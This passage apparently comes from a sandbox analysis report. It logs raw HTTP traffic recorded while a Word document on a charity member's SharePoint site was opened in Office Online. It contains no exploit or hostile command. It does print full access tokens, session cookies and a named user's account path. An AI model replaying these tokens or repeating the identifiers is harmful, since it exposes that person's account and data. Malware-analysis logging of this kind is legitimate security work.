xZmZhNGZjZDhkMmJlMzkyM2M3MzM5YTgxYTY4YzUyNzcxMjRmZDU5OTIwMTA2Y2EzZDQzNzkiLCJuYmYiOiIxNzE3NTk2OTg4IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJzaGFyaW5naWQiOiJFaWR5QmpsWkgwT3EyMnduWDM2OU53Iiwic2l0ZWlkIjoiWmpneVlUQTVOVFF0T0RaaFl5MDBaVFkzTFdFeU5qWXRZMlF5Wm1JNE9XSmtZekV4IiwidHQiOiIwIiwidmVyIjoiaGFzaGVkcHJvb2Z0b2tlbiJ9.xLWj2k_MdVfu7OnJeWlF7DiGuZfBF22HLR9X95pXFYg&usecachedssr=1&prefetchSSRCorrelationId=efae2fa1-00c2-9000-0f29-ad1b777b053f HTTP/1.1Host: midlandlangarsevasociety-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://midlandlangarsevasociety-my.sharepoint.com/personal/sharon_bharaj_mlss_org_uk/_layouts/15/Doc.aspx?sourcedoc=%7B56148668-3e21-4f1b-8f3e-63b1975c468a%7D&action=default&slrid=efae2fa1-1062-8000-f22d-5097d38bed06&originalPath=aHR0cHM6Ly9taWRsYW5kbGFuZ2Fyc2V2YXNvY2lldHktbXkuc2hhcmVwb2ludC5jb20vOnc6L2cvcGVyc29uYWwvc2hhcm9uX2JoYXJhal9tbHNzX29yZ191ay9FV2lHRkZZaFBodFBqejVqc1pkY1Jvb0JQR0xoLXE1U3Nnd2dJaG1QN0pDbUFnP3J0aW1lPTItQ1BGbXFGM0Vn&CID=e3c5f618-5c32-4945-897c-be30a8b6d1fb&_SRM=0:G:76Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzA2YWM3YjMzZDMxZmZhNGZjZDhkMmJlMzkyM2M3MzM5YTgxYTY4YzUyNzcxMjRmZDU5OTIwMTA2Y2EzZDQzNzksMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSwxMzM2MjA3MDg4NzAwMDAwMDAsMCwxMzM2MjE1Njk4NzEwMTE5MjIsMC4wLjAuMCwyNTgsZmE3NTBlM2QtNjU1Ni00NWM5LWIwZWYtYzk4ZWM5YTMyMWI5LCwsZWZhZTJmYTEtMTA2Mi04MDAwLWYyMmQtNTA5N2QzOGJlZDA2LGVmYWUyZmExLTEwNjI
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /personal/sharon_bharaj_mlss_org_uk/_api/v2.1/drives/b!VAkq-KyGZ06iZs0vuJvcEQR0d_5uJbhJprofR_Q-SNgT0LlrWXl6T6kIvJiP6404/items/01P3ILRDLIQYKFMIJ6DNHY6PTDWGLVYRUK/streams/content_preview_Op1.img/streamContent?tempauth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvbWlkbGFuZGxhbmdhcnNldmFzb2NpZXR5LW15LnNoYXJlcG9pbnQuY29tQGZhNzUwZTNkLTY1NTYtNDVjOS1iMGVmLWM5OGVjOWEzMjFiOSIsImNhY2hla2V5IjoiMGguZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSIsImNpZCI6Im9TK3U3OElBQUpBUEthMGJkM3NGUHc9PSIsImVuZHBvaW50dXJsIjoiVDM0WmxTbG1PT3ZjWCs2UnM1UUNHV3RxRDdNbFJmNUVCWitSUXFJM0FkND0iLCJlbmRwb2ludHVybExlbmd0aCI6IjIxMCIsImV4cCI6IjE3MTc2MzI5ODgiLCJpcGFkZHIiOiIxNzMuMjU0LjI1MC45MSIsImlzbG9vcGJhY2siOiJUcnVlIiwiaXNzIjoiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwIiwiaXN1c2VyIjoidHJ1ZSIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzA2YWM3YjMzZDMxZmZhNGZjZDhkMmJlMzkyM2M3MzM5YTgxYTY4YzUyNzcxMjRmZDU5OTIwMTA2Y2EzZDQzNzkiLCJuYmYiOiIxNzE3NTk2OTg4IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJzaGFyaW5naWQiOiJFaWR5QmpsWkgwT3EyMnduWDM2OU53Iiwic2l0ZWlkIjoiWmpneVlUQTVOVFF0T0RaaFl5MDBaVFkzTFdFeU5qWXRZMlF5Wm1JNE9XSmtZekV4IiwidHQiOiIwIiwidmVyIjoiaGFzaGVkcHJvb2Z0b2tlbiJ9.xLWj2k_MdVfu7OnJeWlF7DiGuZfBF22HLR9X95pXFYg&usecachedssr=1&prefetchSSRCorrelationId=efae2fa1-00c2-9000-0f29-ad1b777b053f HTTP/1.1Host: midlandlangarsevasociety-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzA2YWM3YjMzZDMxZmZhNGZjZDhkMmJlMzkyM2M3MzM5YTgxYTY4YzUyNzcxMjRmZDU5OTIwMTA2Y2EzZDQzNzksMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSwxMzM2MjA3MDg4NzAwMDAwMDAsMCwxMzM2MjE1Njk4NzEwMTE5MjIsMC4wLjAuMCwyNTgsZmE3NTBlM2QtNjU1Ni00NWM5LWIwZWYtYzk4ZWM5YTMyMWI5LCwsZWZhZTJmYTEtMTA2Mi04MDAwLWYyMmQtNTA5N2QzOGJlZDA2LGVmYWUyZmExLTEwNjItODAwMC1mMjJkLTUwOTdkMzhiZWQwNixFaWR5QmpsWkgwT3EyMnduWDM2OU53LDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk3OTIsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LFArSXdhSnYzY1p3bjJIekhUQmZmWUFtSTR1ckZ0bDFVVm02YmZuaVdFR2hxREVUNDRyc1B5bDJRUlZpY1J2MXRMM2xqR3A3UnQwMk4wc2QraXV4aGhHMnJkVEx6cm9UTmVEeWtTZ0R6RWVpUHlaeHBMQi9YL1VpUHJUVHdaQ01IUllIZWdOYVdxc2cxNDhpTDRvZ0J2V0JZSHhuMnE2djRzUlhNWTRUcW5sMk9yZWl2M3M0eW9aY3lkd2p3RWc4aWhSYVVqTUtEcjRBK05pR2JFSlQyUFQwMTE1NEMxR1NwaHdqOHY5L1ZNM2pCSWdQb09XaHh4eUFIczRENjVpNVUxbVVYVDFHVkRPdEVkZmtidGVqSDMyVzR4b1cyKzJEc1gzKzB3aTVQbmpaTTVtUUg2ZE12ckk5bHZwWGliU2dvdUhxRnA1bDF0aTlBZlZPYzV3WEpIdz09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /wv/ResReader.ashx?n=p1.img&WOPIsrc=https%3A%2F%2Fmidlandlangarsevasociety%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fsharon%5Fbharaj%5Fmlss%5Forg%5Fuk%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL21pZGxhbmRsYW5nYXJzZXZhc29jaWV0eS1teS5zaGFyZXBvaW50LmNvbUBmYTc1MGUzZC02NTU2LTQ1YzktYjBlZi1jOThlYzlhMzIxYjkiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNzU5Njk4OCIsImV4cCI6IjE3MTc2MzI5ODgiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5Iiwic2hhcmluZ2lkIjoiRWlkeUJqbFpIME9xMjJ3blgzNjlOdyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNTYxNDg2NjgzZTIxNGYxYjhmM2U2M2IxOTc1YzQ2OGE7ZVQrQk5HbVFwNXpmMUJITDVPT0JuTEJXd2ZFPTtEZWZhdWx0OzliZTUxMGY1NGI3YTQyZTViMmJiNzE0NTQ3MzVlNTZmOztUcnVlOzs7NTEyO2VmYWUyZmExLTAwYzItOTAwMC0wZjI5LWFkMWI3NzdiMDUzZiIsImZpZCI6IjE4OTc5MiJ9%2EwFQ1acUFFV9ATjWfFIc7%5FVeqhaD86lbQV%5FtOJ5Hgy5oHv9itKP6LlZv8qbVQtHpEal2ASPyOZAMZGY7Vp%2DBj70kb3nqinNmaTE%5FcKboyzkESxdeQFaICHpV5fcKQhNqROcWJwKusEcbiV0a8gJIwAX8MrzFxOcfYH%2DhZpH%2DBDU52Mr6rbkO98sNk0HiRGn9CGJedoeU%2D5TRpOoXD4cbjPOX1JwSMVOaTdZpW68gQjGmZgfoz4SL1eLfifp2dabveKJa21LKI2gqDbfYU5kWzpTeccpFvoPG9cGMmeALNzsS0eq0lX0knV95labWU0Knm80iQqKaK%2D1mfitaMszFsTw&access_token_ttl=1717632988464&z=%2522%257B56148668%252D3E21%252D4F1B%252D8F3E%252D63B1975C468A%257D%252C21%2522&v=00000000-0000-0000-0000-000000000802&usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&splashscreen=1&build=16.0.17730.41010&waccluster=GUK5 HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ukc-word-view.officeapps.live.com/wv/wordviewerframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fmidlandlangarsevasociety-my.sharepoint.com%2Fpersonal%2Fsharon_bharaj_mlss_org_uk%2F_vti_bin%2Fwopi.ashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&wdenableroaming=1&mscc=0&wdodb=1&hid=EFAE2FA1-00C2-9000-0F29-AD1B777B053F.0&uih=sharepointcom&wdlcid=en-US&jsapi=1&jsapiver=v2&corrid=7d777aeb-6724-5443-6f2d-afb3c7edf346&usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&newsession=1&sftc=1&uihit=docaspx&muv=1&cac=1&sams=1&mtf=1&sfp=1&sdp=1&hch=1&hwfh=1&readonly=1&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fmidlandlangarsevasoci
Source: global traffic	HTTP traffic detected: GET /wv/ResReader.ashx?n=p1.img&WOPIsrc=https%3A%2F%2Fmidlandlangarsevasociety%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fsharon%5Fbharaj%5Fmlss%5Forg%5Fuk%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL21pZGxhbmRsYW5nYXJzZXZhc29jaWV0eS1teS5zaGFyZXBvaW50LmNvbUBmYTc1MGUzZC02NTU2LTQ1YzktYjBlZi1jOThlYzlhMzIxYjkiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNzU5Njk4OCIsImV4cCI6IjE3MTc2MzI5ODgiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5Iiwic2hhcmluZ2lkIjoiRWlkeUJqbFpIME9xMjJ3blgzNjlOdyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNTYxNDg2NjgzZTIxNGYxYjhmM2U2M2IxOTc1YzQ2OGE7ZVQrQk5HbVFwNXpmMUJITDVPT0JuTEJXd2ZFPTtEZWZhdWx0OzliZTUxMGY1NGI3YTQyZTViMmJiNzE0NTQ3MzVlNTZmOztUcnVlOzs7NTEyO2VmYWUyZmExLTAwYzItOTAwMC0wZjI5LWFkMWI3NzdiMDUzZiIsImZpZCI6IjE4OTc5MiJ9%2EwFQ1acUFFV9ATjWfFIc7%5FVeqhaD86lbQV%5FtOJ5Hgy5oHv9itKP6LlZv8qbVQtHpEal2ASPyOZAMZGY7Vp%2DBj70kb3nqinNmaTE%5FcKboyzkESxdeQFaICHpV5fcKQhNqROcWJwKusEcbiV0a8gJIwAX8MrzFxOcfYH%2DhZpH%2DBDU52Mr6rbkO98sNk0HiRGn9CGJedoeU%2D5TRpOoXD4cbjPOX1JwSMVOaTdZpW68gQjGmZgfoz4SL1eLfifp2dabveKJa21LKI2gqDbfYU5kWzpTeccpFvoPG9cGMmeALNzsS0eq0lX0knV95labWU0Knm80iQqKaK%2D1mfitaMszFsTw&access_token_ttl=1717632988464&z=%2522%257B56148668%252D3E21%252D4F1B%252D8F3E%252D63B1975C468A%257D%252C21%2522&v=00000000-0000-0000-0000-000000000802&usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&splashscreen=1&build=16.0.17730.41010&waccluster=GUK5 HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wv/docdatahandler.ashx?WOPIsrc=https%3A%2F%2Fmidlandlangarsevasociety%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fsharon%5Fbharaj%5Fmlss%5Forg%5Fuk%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&&&z=%2522%257B56148668%252D3E21%252D4F1B%252D8F3E%252D63B1975C468A%257D%252C21%2522&type=png&o15=1&ui=en-US HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"haep: 6X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL21pZGxhbmRsYW5nYXJzZXZhc29jaWV0eS1teS5zaGFyZXBvaW50LmNvbUBmYTc1MGUzZC02NTU2LTQ1YzktYjBlZi1jOThlYzlhMzIxYjkiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNzU5Njk4OCIsImV4cCI6IjE3MTc2MzI5ODgiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5Iiwic2hhcmluZ2lkIjoiRWlkeUJqbFpIME9xMjJ3blgzNjlOdyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNTYxNDg2NjgzZTIxNGYxYjhmM2U2M2IxOTc1YzQ2OGE7ZVQrQk5HbVFwNXpmMUJITDVPT0JuTEJXd2ZFPTtEZWZhdWx0OzliZTUxMGY1NGI3YTQyZTViMmJiNzE0NTQ3MzVlNTZmOztUcnVlOzs7NTEyO2VmYWUyZmExLTAwYzItOTAwMC0wZjI5LWFkMWI3NzdiMDUzZiIsImZpZCI6IjE4OTc5MiJ9.wFQ1acUFFV9ATjWfFIc7_VeqhaD86lbQV_tOJ5Hgy5oHv9itKP6LlZv8qbVQtHpEal2ASPyOZAMZGY7Vp-Bj70kb3nqinNmaTE_cKboyzkESxdeQFaICHpV5fcKQhNqROcWJwKusEcbiV0a8gJIwAX8MrzFxOcfYH-hZpH-BDU52Mr6rbkO98sNk0HiRGn9CGJedoeU-5TRpOoXD4cbjPOX1JwSMVOaTdZpW68gQjGmZgfoz4SL1eLfifp2dabveKJa21LKI2gqDbfYU5kWzpTeccpFvoPG9cGMmeALNzsS0eq0lX0knV95labWU0Knm80iQqKaK-1mfitaMszFsTwX-WacFrontEnd: LN2PEPF0000BE33X-UserSessionId: 7d777aeb-6724-5443-6f2d-afb3c7edf346X-AccessTokenTtl: 1717632988464sec-ch-ua-mobile: ?0X-OfficeVersion: 20240603.4X-Key: ICDS0A6vUUhgHc1xcL8F/ljjPjwHjrBqEIwWPZNdSTk=;KVDlzMwE4DkoPSd8T8gT7e+nLgTgvhV6Ia3yrX/LEUU=,638531937916143616User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-Requested-With: XMLHttpRequestX-UserType: WOPIX-xhr: 1X-WacCluster: GUK5sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ukc-word-view.officeapps.live.com/wv/wordviewerframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fmidlandlangarsevasociety-my.sharepoint.com%2Fpersonal%2Fsharon_bharaj_mlss_org_uk%2F_vti_bin%2Fwopi.ashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&wdenableroaming=1&mscc=0&wdodb=1&hid=EFAE2FA1-00C2-9000-0F29-AD1B777B053F.0&uih=sharepointcom&wdlcid=en-US&jsapi=1&jsapiver=v2&corrid=7d777aeb-6724-5443-6f2d-afb3c7edf346&usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&newsession=1&sftc=1&uihit=d
Source: global traffic	HTTP traffic detected: GET /wv/RemoteTelemetry.ashx?usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&build=20240603.4&waccluster=GUK5 HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wv/docdatahandler.ashx?WOPIsrc=https%3A%2F%2Fmidlandlangarsevasociety%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fsharon%5Fbharaj%5Fmlss%5Forg%5Fuk%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&&&z=%2522%257B56148668%252D3E21%252D4F1B%252D8F3E%252D63B1975C468A%257D%252C21%2522&type=png&o15=1&ui=en-US HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wv/ResReader.ashx?n=p_1_10.xml&v=00000000-0000-0000-0000-000000000802&usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&build=20240603.4&WOPIsrc=https%3A%2F%2Fmidlandlangarsevasociety%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fsharon%5Fbharaj%5Fmlss%5Forg%5Fuk%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL21pZGxhbmRsYW5nYXJzZXZhc29jaWV0eS1teS5zaGFyZXBvaW50LmNvbUBmYTc1MGUzZC02NTU2LTQ1YzktYjBlZi1jOThlYzlhMzIxYjkiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNzU5Njk4OCIsImV4cCI6IjE3MTc2MzI5ODgiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5Iiwic2hhcmluZ2lkIjoiRWlkeUJqbFpIME9xMjJ3blgzNjlOdyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNTYxNDg2NjgzZTIxNGYxYjhmM2U2M2IxOTc1YzQ2OGE7ZVQrQk5HbVFwNXpmMUJITDVPT0JuTEJXd2ZFPTtEZWZhdWx0OzliZTUxMGY1NGI3YTQyZTViMmJiNzE0NTQ3MzVlNTZmOztUcnVlOzs7NTEyO2VmYWUyZmExLTAwYzItOTAwMC0wZjI5LWFkMWI3NzdiMDUzZiIsImZpZCI6IjE4OTc5MiJ9%2EwFQ1acUFFV9ATjWfFIc7%5FVeqhaD86lbQV%5FtOJ5Hgy5oHv9itKP6LlZv8qbVQtHpEal2ASPyOZAMZGY7Vp%2DBj70kb3nqinNmaTE%5FcKboyzkESxdeQFaICHpV5fcKQhNqROcWJwKusEcbiV0a8gJIwAX8MrzFxOcfYH%2DhZpH%2DBDU52Mr6rbkO98sNk0HiRGn9CGJedoeU%2D5TRpOoXD4cbjPOX1JwSMVOaTdZpW68gQjGmZgfoz4SL1eLfifp2dabveKJa21LKI2gqDbfYU5kWzpTeccpFvoPG9cGMmeALNzsS0eq0lX0knV95labWU0Knm80iQqKaK%2D1mfitaMszFsTw&access_token_ttl=1717632988464&z=%2522%257B56148668%252D3E21%252D4F1B%252D8F3E%252D63B1975C468A%257D%252C21%2522&waccluster=GUK5 HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"haep: 6X-WacFrontEnd: LN2PEPF0000BE33X-UserSessionId: 7d777aeb-6724-5443-6f2d-afb3c7edf346sec-ch-ua-mobile: ?0X-OfficeVersion: 20240603.4X-Key: ICDS0A6vUUhgHc1xcL8F/ljjPjwHjrBqEIwWPZNdSTk=;KVDlzMwE4DkoPSd8T8gT7e+nLgTgvhV6Ia3yrX/LEUU=,638531937916143616User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-Requested-With: XMLHttpRequestX-UserType: WOPIX-xhr: 1X-WacCluster: GUK5sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ukc-word-view.officeapps.live.com/wv/wordviewerframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fmidlandlangarsevasociety-my.sharepoint.com%2Fpersonal%2Fsharon_bharaj_mlss_org_uk%2F_vti_bin%2Fwopi.ashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&wdenableroaming=1&mscc=0&wdodb=1&hid=EFAE2FA1-00C2-9000-0F29-AD1B777B053F.0&uih=sharepointcom&wdlcid=en-US&jsapi=1&jsapiver=v2&co
Source: global traffic	HTTP traffic detected: GET /wv/translation.ashx?WOPIsrc=https%3A%2F%2Fmidlandlangarsevasociety%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fsharon%5Fbharaj%5Fmlss%5Forg%5Fuk%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL21pZGxhbmRsYW5nYXJzZXZhc29jaWV0eS1teS5zaGFyZXBvaW50LmNvbUBmYTc1MGUzZC02NTU2LTQ1YzktYjBlZi1jOThlYzlhMzIxYjkiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNzU5Njk4OCIsImV4cCI6IjE3MTc2MzI5ODgiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmY